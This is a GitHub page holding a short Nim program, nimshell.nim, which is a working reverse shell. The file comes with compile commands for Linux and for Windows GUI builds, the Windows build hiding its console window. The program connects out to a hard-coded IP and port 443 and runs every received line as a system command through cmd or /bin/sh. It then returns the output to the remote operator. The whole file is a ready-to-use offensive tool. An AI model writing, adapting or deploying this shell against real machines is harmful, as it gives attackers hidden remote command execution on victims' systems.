-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathnimshell.nim
43 lines (35 loc) · 1.03 KB
/
nimshell.nim
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# Compile From Linux to Windows :
# nim c --app:gui -d:mingw nimshell.nim
# Compile From Linux to Linux :
# nim c --app:gui -d:release nimshell.nim
import net
import osproc
let
ip = "127.0.0.1"
port = 443
socket = newSocket()
prompt = "nimshell>"
var cmd : string
if system.hostOS == "windows":
cmd = "cmd /C "
else:
cmd = "/bin/sh -c "
try:
socket.connect(ip, Port(port))
while true:
try:
socket.send(prompt)
var input = socket.recvLine()
if input == "disconnect" or input == "exit":
socket.send("[+] Exiting Nim Shell\n")
socket.close()
system.quit(0)
var (result, _) = execCmdEx(cmd & input)
socket.send(result)
except:
socket.send("[-] Unexpected error received, Exiting Nim Shell'\n")
socket.close()
system.quit(0)
except:
socket.close()
system.quit(0)